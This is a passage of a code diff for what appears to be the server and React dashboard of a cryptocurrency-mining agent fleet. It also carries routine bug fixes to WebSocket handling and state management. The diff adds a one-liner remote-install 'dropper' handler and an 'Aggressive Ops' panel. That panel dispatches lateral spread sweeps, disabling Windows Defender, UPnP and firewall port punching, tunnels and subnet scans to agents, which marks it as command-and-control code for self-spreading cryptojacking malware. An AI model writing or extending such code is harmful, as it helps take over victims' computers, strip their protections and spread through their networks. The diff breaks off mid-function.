||||
return
|
||||
}
|
||||
|
||||
// Increment and read requestID under the write lock to avoid data race (H17)
|
||||
p.mu.Lock()
|
||||
p.requestID++
|
||||
reqID := p.requestID
|
||||
p.mu.Unlock()
|
||||
|
||||
wallet := share.Wallet
|
||||
if wallet == "" {
|
||||
|
||||
@@ -163,12 +163,17 @@ func main() {
|
||||
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
|
||||
log.Println("Blueprint handler initialized")
|
||||
|
||||
// Initialize dropper handler (one-liner remote install)
|
||||
dropperHandler := api.NewDropperHandler(database, func() string {
|
||||
return configProvider.PublicURL()
|
||||
})
|
||||
|
||||
// Find web root for frontend
|
||||
webRoot := findWebRoot()
|
||||
log.Printf("Web root: %s", webRoot)
|
||||
|
||||
// Initialize router
|
||||
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, cfg.DataDir, func() string {
|
||||
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, cfg.DataDir, func() string {
|
||||
return configProvider.PublicURL()
|
||||
})
|
||||
log.Println("Router initialized")
|
||||
@@ -254,8 +259,13 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error
|
||||
return fmt.Errorf("invalid config: %w", err)
|
||||
}
|
||||
|
||||
// Merge incoming config over current config
|
||||
mergeConfig(p.config, &incoming)
|
||||
// Determine which top-level keys were explicitly present in the JSON payload.
|
||||
// This prevents partial PUTs from corrupting boolean fields (H14): a key absent
|
||||
// from the payload is treated as "not changed", not "set to false".
|
||||
var presentKeys map[string]json.RawMessage
|
||||
_ = json.Unmarshal(data, &presentKeys)
|
||||
|
||||
mergeConfigExplicit(p.config, &incoming, presentKeys)
|
||||
|
||||
// Save to disk
|
||||
if err := p.config.Save(); err != nil {
|
||||
|
||||
@@ -2,6 +2,7 @@ import { lazy, Suspense } from 'react';
|
||||
import { Routes, Route, Navigate } from 'react-router-dom';
|
||||
import SessionGate from './components/SessionGate';
|
||||
import Layout from './components/Layout/Layout';
|
||||
import { WebSocketProvider } from './context/WebSocketProvider';
|
||||
|
||||
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
|
||||
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
|
||||
@@ -19,21 +20,25 @@ function PageFallback() {
|
||||
|
||||
function App() {
|
||||
return (
|
||||
<SessionGate>
|
||||
<Layout>
|
||||
<Suspense fallback={<PageFallback />}>
|
||||
<Routes>
|
||||
<Route path="/" element={<Navigate to="/dashboard" replace />} />
|
||||
<Route path="/dashboard" element={<DashboardPage />} />
|
||||
<Route path="/agents" element={<AgentsPage />} />
|
||||
<Route path="/forge" element={<BuilderPage />} />
|
||||
<Route path="/builder" element={<Navigate to="/forge" replace />} />
|
||||
<Route path="/guide" element={<GuidePage />} />
|
||||
<Route path="/settings" element={<SettingsPage />} />
|
||||
</Routes>
|
||||
</Suspense>
|
||||
</Layout>
|
||||
</SessionGate>
|
||||
// WebSocketProvider mounts a single WS connection shared by all routes.
|
||||
// No page or component should call new WebSocket() directly — use useWebSocket().
|
||||
<WebSocketProvider>
|
||||
<SessionGate>
|
||||
<Layout>
|
||||
<Suspense fallback={<PageFallback />}>
|
||||
<Routes>
|
||||
<Route path="/" element={<Navigate to="/dashboard" replace />} />
|
||||
<Route path="/dashboard" element={<DashboardPage />} />
|
||||
<Route path="/agents" element={<AgentsPage />} />
|
||||
<Route path="/forge" element={<BuilderPage />} />
|
||||
<Route path="/builder" element={<Navigate to="/forge" replace />} />
|
||||
<Route path="/guide" element={<GuidePage />} />
|
||||
<Route path="/settings" element={<SettingsPage />} />
|
||||
</Routes>
|
||||
</Suspense>
|
||||
</Layout>
|
||||
</SessionGate>
|
||||
</WebSocketProvider>
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import AgentRemoteActions from './AgentRemoteActions';
|
||||
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
|
||||
import type { Agent } from '../../types';
|
||||
import type { WSMessage } from '../../types';
|
||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||
|
||||
interface Props {
|
||||
agent: Agent;
|
||||
@@ -12,7 +12,7 @@ interface Props {
|
||||
onToggleExpand: () => void;
|
||||
onSelect: () => void;
|
||||
onCheck?: (checked: boolean) => void;
|
||||
latestWsMessage?: WSMessage | null;
|
||||
commandResults?: SeqCommandResult[];
|
||||
}
|
||||
|
||||
export default function AgentListItem({
|
||||
@@ -24,7 +24,7 @@ export default function AgentListItem({
|
||||
onToggleExpand,
|
||||
onSelect,
|
||||
onCheck,
|
||||
latestWsMessage,
|
||||
commandResults,
|
||||
}: Props) {
|
||||
const online = agent.status === 'online';
|
||||
|
||||
@@ -58,6 +58,11 @@ export default function AgentListItem({
|
||||
)}
|
||||
<span className={`status-dot ${agent.status}`} />
|
||||
<span>{agent.name}</span>
|
||||
{agent.platform && (
|
||||
<span className="agent-tag-chip platform-badge" title={agent.os_version || agent.platform}>
|
||||
{agent.platform}{agent.arch ? `/${agent.arch}` : ''}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||
</div>
|
||||
@@ -89,7 +94,7 @@ export default function AgentListItem({
|
||||
<span>v{agent.version || '?'}</span>
|
||||
</div>
|
||||
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
|
||||
<AgentRemoteActions agent={agent} compact online={online} latestWsMessage={latestWsMessage} />
|
||||
<AgentRemoteActions agent={agent} compact online={online} commandResults={commandResults} />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
@@ -91,6 +91,13 @@
|
||||
.button-grid button.btn-red { border-color: rgba(255, 23, 68, 0.3); color: #ff1744; }
|
||||
.button-grid button.btn-red:hover { background: rgba(255, 23, 68, 0.1); box-shadow: 0 0 15px rgba(255, 23, 68, 0.4); }
|
||||
|
||||
.button-grid button.btn-magenta { border-color: rgba(255, 0, 255, 0.35); color: #ff00ff; }
|
||||
.button-grid button.btn-magenta:hover { background: rgba(255, 0, 255, 0.12); box-shadow: 0 0 15px rgba(255, 0, 255, 0.35); }
|
||||
|
||||
.aggressive-group { border-color: rgba(255, 0, 255, 0.15); }
|
||||
.aggressive-group h3 { color: #ff00ff; }
|
||||
.action-group-hint { margin: -8px 0 12px; font-size: 0.75rem; color: #666; line-height: 1.35; }
|
||||
|
||||
.screenshot-viewer {
|
||||
margin-bottom: 20px;
|
||||
border: 1px solid #00e5ff;
|
||||
|
||||
@@ -1,9 +1,12 @@
|
||||
import React, { useState, useRef, useEffect, useCallback } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { Agent, WSMessage } from '../../types';
|
||||
import type { WSCommandResult } from '../../types/ws';
|
||||
import type { Agent } from '../../types';
|
||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
||||
import './AgentRemoteActions.css';
|
||||
|
||||
const TERMINAL_MAX_LINES = 500;
|
||||
|
||||
interface Props {
|
||||
/** Legacy: pass full agent object from list/detail pages */
|
||||
agent?: Agent;
|
||||
@@ -12,7 +15,11 @@ interface Props {
|
||||
/** Explicit online flag — use when agent object may be stale */
|
||||
online?: boolean;
|
||||
compact?: boolean;
|
||||
latestWsMessage?: WSMessage | null;
|
||||
/** Queue of recent command_result messages from the WS hook — replaces latestWsMessage.
|
||||
* Every entry is processed; no results are dropped (fixes M13). */
|
||||
commandResults?: SeqCommandResult[];
|
||||
/** @deprecated Pass commandResults instead. */
|
||||
latestWsMessage?: { type: string; payload: unknown } | null;
|
||||
onCommandSent?: (action: string) => void;
|
||||
}
|
||||
|
||||
@@ -22,7 +29,7 @@ export default function AgentRemoteActions({
|
||||
agentName: agentNameProp,
|
||||
online: onlineProp,
|
||||
compact = false,
|
||||
latestWsMessage,
|
||||
commandResults,
|
||||
onCommandSent,
|
||||
}: Props) {
|
||||
const agentId = agentIdProp ?? agent?.id ?? '';
|
||||
@@ -31,32 +38,58 @@ export default function AgentRemoteActions({
|
||||
|
||||
const [isDragging, setIsDragging] = useState(false);
|
||||
const [customCmd, setCustomCmd] = useState('');
|
||||
// terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6)
|
||||
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
||||
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
||||
const [busy, setBusy] = useState<string | null>(null);
|
||||
const logEndRef = useRef<HTMLDivElement>(null);
|
||||
// Track the highest _seq we've already processed.
|
||||
// Using _seq (monotonic ID) instead of array index prevents the ring-buffer drop bug
|
||||
// where .slice(-N) trims old entries so absolute indices exceed the array length.
|
||||
const lastSeenSeq = useRef(0);
|
||||
|
||||
const addLog = useCallback((msg: string) => {
|
||||
setTerminalLog((prev) => [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`]);
|
||||
setTerminalLog((prev) => {
|
||||
const next = [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`];
|
||||
// Cap at TERMINAL_MAX_LINES — drop oldest entries (L6)
|
||||
return next.length > TERMINAL_MAX_LINES ? next.slice(next.length - TERMINAL_MAX_LINES) : next;
|
||||
});
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
logEndRef.current?.scrollIntoView({ behavior: 'smooth' });
|
||||
}, [terminalLog]);
|
||||
|
||||
// When the selected agent changes, reset the seen-seq cursor to the current maximum.
|
||||
// This prevents reprocessing results from the previous agent or a stale queue.
|
||||
useEffect(() => {
|
||||
if (!latestWsMessage || latestWsMessage.type !== 'command_result') return;
|
||||
const payload = latestWsMessage.payload as WSCommandResult;
|
||||
const { agent_id, action, success, message } = payload;
|
||||
if (agentId && agentId !== 'all' && agent_id !== agentId) return;
|
||||
|
||||
if (action === 'screenshot' && success && message) {
|
||||
setScreenshotData(`data:image/jpeg;base64,${message}`);
|
||||
addLog(`Screenshot received from ${agent_id}`);
|
||||
} else if (action) {
|
||||
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
|
||||
if (commandResults && commandResults.length > 0) {
|
||||
lastSeenSeq.current = commandResults[commandResults.length - 1]._seq;
|
||||
}
|
||||
}, [latestWsMessage, agentId, addLog]);
|
||||
// Intentionally only runs on agentId change — commandResults excluded from deps
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [agentId]);
|
||||
|
||||
// Process every new commandResults entry we haven't seen yet (M13 — no drops).
|
||||
// Filters by _seq so the ring-buffer trim never makes us miss results.
|
||||
useEffect(() => {
|
||||
if (!commandResults || commandResults.length === 0) return;
|
||||
const newEntries = commandResults.filter((r) => r._seq > lastSeenSeq.current);
|
||||
if (newEntries.length === 0) return;
|
||||
lastSeenSeq.current = newEntries[newEntries.length - 1]._seq;
|
||||
|
||||
for (const payload of newEntries) {
|
||||
const { agent_id, action, success, message } = payload;
|
||||
if (agentId && agentId !== 'all' && agent_id !== agentId) continue;
|
||||
|
||||
if (action === 'screenshot' && success && message) {
|
||||
setScreenshotData(`data:image/jpeg;base64,${message}`);
|
||||
addLog(`Screenshot received from ${agent_id}`);
|
||||
} else if (action) {
|
||||
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
|
||||
}
|
||||
}
|
||||
}, [commandResults, agentId, addLog]);
|
||||
|
||||
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
|
||||
if (!agentId) {
|
||||
@@ -69,6 +102,9 @@ export default function AgentRemoteActions({
|
||||
}
|
||||
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
|
||||
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
|
||||
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
|
||||
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
|
||||
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
|
||||
|
||||
setBusy(action);
|
||||
try {
|
||||
@@ -130,6 +166,14 @@ export default function AgentRemoteActions({
|
||||
}
|
||||
|
||||
const isFleet = agentId === 'all';
|
||||
const caps = agent?.capabilities;
|
||||
const platform = agent?.platform;
|
||||
|
||||
const aggDisabled = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
|
||||
!isOnline || !!busy || !canRunAggressiveAction(action, caps, platform);
|
||||
|
||||
const aggTitle = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
|
||||
aggressiveActionHint(action, caps, platform);
|
||||
|
||||
return (
|
||||
<div className="tactical-panel">
|
||||
@@ -170,6 +214,94 @@ export default function AgentRemoteActions({
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="action-group aggressive-group">
|
||||
<h3>NAT & Aggressive Ops</h3>
|
||||
<p className="action-group-hint">Point-and-shoot — requires Advanced forge toggles on the agent.</p>
|
||||
<div className="button-grid">
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('hole_punch_status')}
|
||||
title={aggTitle('hole_punch_status')}
|
||||
onClick={() => dispatch('hole_punch_status')}
|
||||
>
|
||||
WAN IP
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('hole_punch')}
|
||||
title={aggTitle('hole_punch')}
|
||||
onClick={() => dispatch('hole_punch', { command: '8989', path: '8989' })}
|
||||
>
|
||||
Hole Punch
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('hole_punch_close')}
|
||||
title={aggTitle('hole_punch_close')}
|
||||
onClick={() => dispatch('hole_punch_close', { command: '8989' })}
|
||||
>
|
||||
Close Punch
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('firewall_punch')}
|
||||
title={aggTitle('firewall_punch')}
|
||||
onClick={() => dispatch('firewall_punch', { command: '8989' })}
|
||||
>
|
||||
Open FW Port
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('start_tunnel')}
|
||||
title={aggTitle('start_tunnel')}
|
||||
onClick={() => dispatch('start_tunnel')}
|
||||
>
|
||||
Cloudflare Tunnel
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('subnet_scan')}
|
||||
title={aggTitle('subnet_scan')}
|
||||
onClick={() => dispatch('subnet_scan', { command: '64' })}
|
||||
>
|
||||
Subnet Scan
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('spread_now')}
|
||||
title={aggTitle('spread_now')}
|
||||
onClick={() => dispatch('spread_now')}
|
||||
>
|
||||
Spread Now
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('mesh_status')}
|
||||
title={aggTitle('mesh_status')}
|
||||
onClick={() => dispatch('mesh_status')}
|
||||
>
|
||||
Mesh Peers
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-red"
|
||||
disabled={aggDisabled('defender_off')}
|
||||
title={aggTitle('defender_off')}
|
||||
onClick={() => dispatch('defender_off')}
|
||||
>
|
||||
Disable Defender
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{screenshotData && (
|
||||
|
||||
@@ -121,12 +121,6 @@
|
||||
grid-column: span 2;
|
||||
}
|
||||
|
||||
.agent-actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
margin-top: 1rem;
|
||||
}
|
||||
|
||||
.agent-action-btn {
|
||||
padding: 0.4rem 0.75rem;
|
||||
|
||||
@@ -92,10 +92,16 @@ export function EarningsEstimator({ hashrate }: { hashrate: number }) {
|
||||
setXmrPerDay(null);
|
||||
return;
|
||||
}
|
||||
// AbortController ensures a stale in-flight response never overwrites a
|
||||
// newer estimate when hashrate changes rapidly (fixes M16).
|
||||
const controller = new AbortController();
|
||||
api.getEarningsEstimate(hashrate).then((r) => {
|
||||
setXmrPerDay(r.xmr_per_day);
|
||||
setNote(r.note);
|
||||
}).catch(console.error);
|
||||
if (!controller.signal.aborted) {
|
||||
setXmrPerDay(r.xmr_per_day);
|
||||
setNote(r.note);
|
||||
}
|
||||
}).catch((err) => { if (!controller.signal.aborted) console.error(err); });
|
||||
return () => controller.abort();
|
||||
}, [hashrate]);
|
||||
|
||||
if (xmrPerDay == null || hashrate <= 0) return null;
|
||||
|
||||
@@ -5,6 +5,11 @@ import './MatrixStreamOverlay.css';
|
||||
export default function MatrixStreamOverlay({ active, onClose }: { active: boolean; onClose: () => void }) {
|
||||
const { recentShares } = useWebSocket();
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null);
|
||||
// Keep a ref to the latest shares so the draw loop always sees fresh data
|
||||
// WITHOUT being listed as a useEffect dependency — this stops the animation
|
||||
// from restarting every time a new share arrives (fixes L7).
|
||||
const sharesRef = useRef(recentShares);
|
||||
sharesRef.current = recentShares;
|
||||
|
||||
useEffect(() => {
|
||||
if (!active || !canvasRef.current) return;
|
||||
@@ -25,33 +30,29 @@ export default function MatrixStreamOverlay({ active, onClose }: { active: boole
|
||||
let drops: number[] = Array(Math.floor(columns)).fill(1);
|
||||
|
||||
const draw = () => {
|
||||
// Black BG for the canvas
|
||||
// translucent BG to show trail
|
||||
ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
|
||||
ctx.fillRect(0, 0, canvas.width, canvas.height);
|
||||
|
||||
ctx.fillStyle = '#0F0'; // Green text
|
||||
ctx.fillStyle = '#0F0';
|
||||
ctx.font = `${fontSize}px monospace`;
|
||||
|
||||
const shares = sharesRef.current;
|
||||
for (let i = 0; i < drops.length; i++) {
|
||||
let text = letters.charAt(Math.floor(Math.random() * letters.length));
|
||||
|
||||
// Occasionally drop a raw share payload in the stream
|
||||
if (Math.random() > 0.99 && recentShares.length > 0) {
|
||||
const share = recentShares[Math.floor(Math.random() * recentShares.length)];
|
||||
text = JSON.stringify({ agent: share.agent_id?.substring(0,6), hash: share.hash?.substring(0,8), valid: share.accepted });
|
||||
if (Math.random() > 0.99 && shares.length > 0) {
|
||||
const share = shares[Math.floor(Math.random() * shares.length)];
|
||||
text = JSON.stringify({ agent: share.agent_id?.substring(0, 6), hash: share.hash?.substring(0, 8), valid: share.accepted });
|
||||
ctx.fillStyle = share.accepted ? '#00f5ff' : '#ff4444';
|
||||
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
|
||||
ctx.fillStyle = '#0F0'; // Reset color
|
||||
ctx.fillStyle = '#0F0';
|
||||
} else {
|
||||
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
|
||||
}
|
||||
|
||||
// sending the drop back to the top randomly after it has crossed the screen
|
||||
if (drops[i] * fontSize > canvas.height && Math.random() > 0.975) {
|
||||
drops[i] = 0;
|
||||
}
|
||||
|
||||
drops[i]++;
|
||||
}
|
||||
};
|
||||
@@ -61,7 +62,7 @@ export default function MatrixStreamOverlay({ active, onClose }: { active: boole
|
||||
clearInterval(interval);
|
||||
window.removeEventListener('resize', resize);
|
||||
};
|
||||
}, [active, recentShares]);
|
||||
}, [active]); // recentShares intentionally excluded — read via sharesRef
|
||||
|
||||
if (!active) return null;
|
||||
|
||||
|
||||
40
server/web/src/context/WebSocketContext.tsx
Normal file
40
server/web/src/context/WebSocketContext.tsx
Normal file
@@ -0,0 +1,40 @@
|
||||
import React, { createContext, useContext } from 'react';
|
||||
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||
import type { WSCommandResult } from '../types/ws';
|
||||
|
||||
/**
|
||||
* WSCommandResult with a monotonic sequence number attached by the provider.
|
||||
* Consumers should track `_seq` instead of array index to avoid the ring-buffer
|
||||
* drop bug that occurs when `.slice(-N)` trims the array but the stored index
|
||||
* remains >= N.
|
||||
*/
|
||||
export type SeqCommandResult = WSCommandResult & { _seq: number };
|
||||
|
||||
export interface WebSocketContextValue {
|
||||
isConnected: boolean;
|
||||
agents: Agent[];
|
||||
recentShares: Share[];
|
||||
fleetAlerts: FleetAlert[];
|
||||
poolStatus: PoolStatus[];
|
||||
aiActivity: AIActivityEntry[];
|
||||
agentLogs: Record<string, string>;
|
||||
commandResults: SeqCommandResult[];
|
||||
/** @deprecated Use commandResults instead. */
|
||||
latestMessage: WSMessage | null;
|
||||
}
|
||||
|
||||
export const WebSocketContext = createContext<WebSocketContextValue>({
|
||||
isConnected: false,
|
||||
agents: [],
|
||||
recentShares: [],
|
||||
fleetAlerts: [],
|
||||
poolStatus: [],
|
||||
aiActivity: [],
|
||||
agentLogs: {},
|
||||
commandResults: [],
|
||||
latestMessage: null,
|
||||
});
|
||||
|
||||
export function useWebSocketContext(): WebSocketContextValue {
|
||||
return useContext(WebSocketContext);
|
||||
}
|
||||
192
server/web/src/context/WebSocketProvider.tsx
Normal file
192
server/web/src/context/WebSocketProvider.tsx
Normal file
@@ -0,0 +1,192 @@
|
||||
import React, { useEffect, useRef, useCallback, useState } from 'react';
|
||||
import type {
|
||||
WSDashboardInit,
|
||||
WSAgentOffline,
|
||||
WSStatsUpdate,
|
||||
WSCommandResult,
|
||||
WSAgentLog,
|
||||
} from '../types/ws';
|
||||
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||
import { WebSocketContext } from './WebSocketContext';
|
||||
import type { SeqCommandResult } from './WebSocketContext';
|
||||
|
||||
/**
|
||||
* WebSocketProvider mounts a SINGLE WebSocket connection for the whole app.
|
||||
* All components call useWebSocket() and receive data from this one connection
|
||||
* — fixes M12 (duplicate connections when multiple components called the hook).
|
||||
*/
|
||||
export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
const wsRef = useRef<WebSocket | null>(null);
|
||||
const reconnectTimer = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
const unmounted = useRef(false);
|
||||
const [isConnected, setIsConnected] = useState(false);
|
||||
const [agents, setAgents] = useState<Agent[]>([]);
|
||||
const [recentShares, setRecentShares] = useState<Share[]>([]);
|
||||
const [fleetAlerts, setFleetAlerts] = useState<FleetAlert[]>([]);
|
||||
const [poolStatus, setPoolStatus] = useState<PoolStatus[]>([]);
|
||||
const [aiActivity, setAiActivity] = useState<AIActivityEntry[]>([]);
|
||||
const [agentLogs, setAgentLogs] = useState<Record<string, string>>({});
|
||||
const [commandResults, setCommandResults] = useState<SeqCommandResult[]>([]);
|
||||
const [latestMessage, setLatestMessage] = useState<WSMessage | null>(null);
|
||||
// Monotonic counter so consumers can detect new entries even after the ring buffer trims old ones
|
||||
const cmdSeqRef = useRef(0);
|
||||
|
||||
const connect = useCallback(() => {
|
||||
if (unmounted.current) return;
|
||||
|
||||
if (reconnectTimer.current) {
|
||||
clearTimeout(reconnectTimer.current);
|
||||
reconnectTimer.current = null;
|
||||
}
|
||||
|
||||
const existing = wsRef.current;
|
||||
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
|
||||
existing.close();
|
||||
}
|
||||
|
||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`;
|
||||
const ws = new WebSocket(wsUrl);
|
||||
wsRef.current = ws;
|
||||
|
||||
ws.onopen = () => { if (!unmounted.current) setIsConnected(true); };
|
||||
|
||||
ws.onclose = () => {
|
||||
if (unmounted.current) return;
|
||||
setIsConnected(false);
|
||||
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
||||
reconnectTimer.current = setTimeout(connect, 3000);
|
||||
};
|
||||
|
||||
ws.onerror = () => { ws.close(); };
|
||||
|
||||
ws.onmessage = (event) => {
|
||||
try {
|
||||
const msg = JSON.parse(event.data) as WSMessage;
|
||||
setLatestMessage(msg);
|
||||
|
||||
switch (msg.type) {
|
||||
case 'init': {
|
||||
const data = msg.payload as WSDashboardInit;
|
||||
if (data.agents) setAgents(data.agents);
|
||||
break;
|
||||
}
|
||||
case 'agent_online': {
|
||||
const agent = msg.payload as Agent;
|
||||
setAgents((prev) => {
|
||||
const idx = prev.findIndex((a) => a.id === agent.id);
|
||||
if (idx >= 0) {
|
||||
const updated = [...prev];
|
||||
updated[idx] = { ...updated[idx], ...agent };
|
||||
return updated;
|
||||
}
|
||||
return [...prev, agent];
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'agent_offline': {
|
||||
const { agent_id } = msg.payload as WSAgentOffline;
|
||||
setAgents((prev) =>
|
||||
prev.map((a) => a.id === agent_id ? { ...a, status: 'offline' as const } : a)
|
||||
);
|
||||
break;
|
||||
}
|
||||
case 'stats_update': {
|
||||
const update = msg.payload as WSStatsUpdate;
|
||||
setAgents((prev) =>
|
||||
prev.map((a) =>
|
||||
a.id === update.agent_id
|
||||
? {
|
||||
...a,
|
||||
hashrate_15s: update.hashrate_15s,
|
||||
hashrate_1m: update.hashrate_1m,
|
||||
hashrate_15m: update.hashrate_15m,
|
||||
cpu_usage_pct: update.cpu_usage_pct,
|
||||
memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
|
||||
uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
|
||||
shares_total: update.shares_submitted ?? a.shares_total,
|
||||
shares_good: update.shares_accepted ?? a.shares_good,
|
||||
shares_bad: Math.max(
|
||||
0,
|
||||
(update.shares_submitted ?? a.shares_total) -
|
||||
(update.shares_accepted ?? a.shares_good)
|
||||
),
|
||||
status: 'online' as const,
|
||||
}
|
||||
: a
|
||||
)
|
||||
);
|
||||
break;
|
||||
}
|
||||
case 'new_share': {
|
||||
const share = msg.payload as Share;
|
||||
setRecentShares((prev) => [share, ...prev].slice(0, 50));
|
||||
break;
|
||||
}
|
||||
case 'fleet_alert': {
|
||||
const alert = msg.payload as FleetAlert;
|
||||
setFleetAlerts((prev) => [alert, ...prev].slice(0, 20));
|
||||
break;
|
||||
}
|
||||
case 'pool_status': {
|
||||
const pools = msg.payload as PoolStatus[];
|
||||
if (Array.isArray(pools)) setPoolStatus(pools);
|
||||
break;
|
||||
}
|
||||
case 'ai_activity': {
|
||||
const entry = msg.payload as AIActivityEntry;
|
||||
setAiActivity((prev) => {
|
||||
const idx = prev.findIndex((a) => a.agent_id === entry.agent_id);
|
||||
if (idx >= 0) {
|
||||
const next = [...prev];
|
||||
next[idx] = entry;
|
||||
return next;
|
||||
}
|
||||
return [...prev, entry];
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'command_result': {
|
||||
const p = msg.payload as WSCommandResult;
|
||||
const seq = ++cmdSeqRef.current;
|
||||
// Cap at 2000; command results are rare (operator-triggered) so this is plenty.
|
||||
// Consumers MUST use _seq for change detection — NOT array index — because the
|
||||
// slice trims old entries and makes absolute indices stale.
|
||||
setCommandResults((prev) => [...prev, { ...p, _seq: seq }].slice(-2000));
|
||||
if (p.agent_id && p.action === 'get_log' && p.success && p.message) {
|
||||
setAgentLogs((prev) => ({ ...prev, [p.agent_id!]: p.message! }));
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'agent_log': {
|
||||
const { agent_id, content } = msg.payload as WSAgentLog;
|
||||
if (agent_id) setAgentLogs((prev) => ({ ...prev, [agent_id]: content }));
|
||||
break;
|
||||
}
|
||||
}
|
||||
} catch (err) {
|
||||
console.error('Failed to parse WebSocket message:', err);
|
||||
}
|
||||
};
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
unmounted.current = false;
|
||||
connect();
|
||||
return () => {
|
||||
unmounted.current = true;
|
||||
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
||||
const ws = wsRef.current;
|
||||
if (ws) { ws.onclose = null; ws.close(); }
|
||||
};
|
||||
}, [connect]);
|
||||
|
||||
return (
|
||||
<WebSocketContext.Provider value={{
|
||||
isConnected, agents, recentShares, fleetAlerts, poolStatus,
|
||||
aiActivity, agentLogs, commandResults, latestMessage,
|
||||
}}>
|
||||
{children}
|
||||
</WebSocketContext.Provider>
|
||||
);
|
||||
}
|
||||
65
server/web/src/help/aggressiveActions.ts
Normal file
65
server/web/src/help/aggressiveActions.ts
Normal file
@@ -0,0 +1,65 @@
|
||||
import type { AgentCapabilities } from '../types';
|
||||
|
||||
/** Aggressive remote actions wired in AgentRemoteActions + agent/client/aggressive_commands.go */
|
||||
export const AGGRESSIVE_REMOTE_ACTIONS = [
|
||||
'hole_punch',
|
||||
'hole_punch_close',
|
||||
'hole_punch_status',
|
||||
'spread_now',
|
||||
'start_tunnel',
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
'mesh_status',
|
||||
] as const;
|
||||
|
||||
export type AggressiveRemoteAction = (typeof AGGRESSIVE_REMOTE_ACTIONS)[number];
|
||||
|
||||
export function canRunAggressiveAction(
|
||||
action: AggressiveRemoteAction,
|
||||
caps?: AgentCapabilities | null,
|
||||
platform?: string
|
||||
): boolean {
|
||||
if (platform === 'darwin' && action === 'defender_off') return false;
|
||||
if (!caps) return true;
|
||||
switch (action) {
|
||||
case 'hole_punch':
|
||||
case 'hole_punch_close':
|
||||
case 'hole_punch_status':
|
||||
return caps.hole_punch;
|
||||
case 'spread_now':
|
||||
return caps.auto_spread || caps.remote_aggressive;
|
||||
